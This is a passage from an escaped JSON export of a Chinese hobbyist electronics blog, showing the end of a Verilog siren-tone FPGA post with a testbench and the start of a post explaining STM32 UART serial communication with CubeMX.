\u003ccode\u003etone[25:19]\u003c/code\u003e 给我们一个缓慢的斜坡。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e最终代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// hign.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e hign \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_hign\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//初始化输入信号\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ehign hign_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//input clk\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//output speaker\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/1.png\" alt=\"1\"\u003e\u003c/p\u003e\u003cp\u003e可以看出间隔确实是变化的,仿真波形图里第一个频率经过计算为912Hz,符合要求。\u003c/p\u003e\u003chr\u003e\u003cp\u003e待续……\u003c/p\u003e","url":"https://blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"#STM32-UART通信\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和\u003chr /\u003e\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"#STM32-UART通信\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和通项目糊出来的?\u003c/del\u003e\u003c/p\u003e\u003cp\u003e写完咯 ~ \u003cdel\u003e还没写完\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e研究原理啥的还是看看参考的博客的好~\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-uart-communication/\"\u003eBonjour STM32] No.7-demo 4.串口通信 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.emoe.xyz/ee_tutorial_04/\"\u003e电子入门教程[04]-喂?zaima? - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/menlsh/archive/2013/01/28/2880580.html\"\u003e串口通信与编程01:串口基础知识 - 依旧淡然 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10793111.html\"\u003e基于STM32之UART串口通信协议(一)详解 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10798193.html\"\u003e基于STM32之UART串口通信协议(二)发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10809000.html\"\u003e基于STM32之UART串口通信协议(三)接收 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/11139901.html\"\u003e基于STM32之UART串口通信协议(四)Printf发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/milton/p/14711577.html\"\u003eSTM32 printf 方法重定向到串口UART - Milton - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/ForeverIT/article/details/82263142\"\u003eSTM32 Uart 实现printf函数_ForeverIT的博客-CSDN博客_stm32 实现printf\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"串口通信\"\u003e\u003ca href=\"#串口通信\" class=\"headerlink\" title=\"串口通信\"\u003e\u003c/a\u003e串口通信\u003c/h2\u003e\u003cp\u003e串口是串行接口(serial port)的简称,也称为串行通信接口或COM接口。\u003c/p\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKcqI.jpg\" style=\"zoom: 67%;\" /\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKyMd.jpg\" style=\"zoom:67%;\" /\u003e\u003cp\u003e串口通信是指采用串行通信协议(serial communication)在一条信号线上将数据一个比特一个比特地逐位进行传输的通信模式。\u003c/p\u003e\u003cp\u003e串口按电气标准及协议来划分,包括RS-232-C、RS-422、RS485等。\u003c/p\u003e\u003cp\u003e在串行通信中,数据在1位宽的 \u003cstrong\u003e单条线路\u003c/strong\u003e 上进行传输,一个字节的数据要分为8次,由低位到高位按顺序一位一位的进行传送。\u003c/p\u003e\u003cp\u003e串行通信的数据是逐位传输的,发送方发送的每一位都具有固定的时间间隔,这就要求接收方也要按照发送方同样的时间间隔来接收每一位。不仅如此,接收方还必须能够确定一个信息组的开始和结束。\u003c/p\u003e\u003cp\u003e常用的两种基本串行通信方式包括同步通信和异步通信。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e然后剩下的可以去参考链接继续了解了~\u003c/strong\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch2 id=\"UART简介\"\u003e\u003ca href=\"#UART简介\" class=\"headerlink\" title=\"UART简介\"\u003e\u003c/a\u003eUART简介\u003c/h2\u003e\u003cp\u003e嵌入式开发中,UART串口通信协议是我们常用的通信协议(UART、I2C、SPI等)之一,全称叫做通用异步收发传输器(Universal Asynchronous Receiver\u0026#x2F;Transmitter),是 \u003cstrong\u003e异步串口通信协议\u003c/strong\u003e 的一种,工作原理是将传输数据的每个字符一位接一位地传输,它能将要传输的资料在串行通信与并行通信之间加以转换,能够灵活地与外部设备进行全双工数据交换。\u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eUSART\u003c/strong\u003e 相当于UART的升级版,USART支持同步模式,因此USART 需要同步始终信号USART_CK(如STM32 单片机),通常情况同步信号很少使用,因此一般的单片机UART和USART使用方式是一样的,都使用异步模式。因为USART的使用方法上跟UART基本相同,所以在此就 \u003cstrong\u003e以UART\u003c/strong\u003e 来讲该通信协议了。\u003c/p\u003e\u003ch2 id=\"UART功能说明\"\u003e\u003ca href=\"#UART功能说明\" class=\"headerlink\" title=\"UART功能说明\"\u003e\u003c/a\u003eUART功能说明\u003c/h2\u003e\u003cp\u003e接口通过三个引脚从外部连接到其它设备。任何 USART 双向通信均需要 至少两个引脚:接收数据输入引脚 (RX) 和发送数据引脚输出 (TX):\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e两个系统的GND必须连在一起\u003c/strong\u003e(因为需要有相同的参考电位)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eRX:\u003c/strong\u003e接收数据输入引脚就是串行数据输入引脚。过采样技术可区分有效输入数据和噪声,从而用于恢复数据。\u003cbr\u003e\u003cstrong\u003eTX:\u003c/strong\u003e发送数据输出引脚。如果关闭发送器,该输出引脚模式由其 I\u0026#x2F;O 端口配置决定。如果使 能了发送器但没有待发送的数据,则 TX 引脚处于高电平。在单线和智能卡模式下,该 I\u0026#x2F;O 用于发送和接收数据(USART 电平下,随后在 SW_RX 上接收数据)。\u003c/p\u003e\u003chr\u003e\u003cp\u003e具体原理留个坑,先大概了解到这,这次主要是通过 \u003cstrong\u003eCubeMX\u003c/strong\u003e 使用UART进行通信~\u003cspan 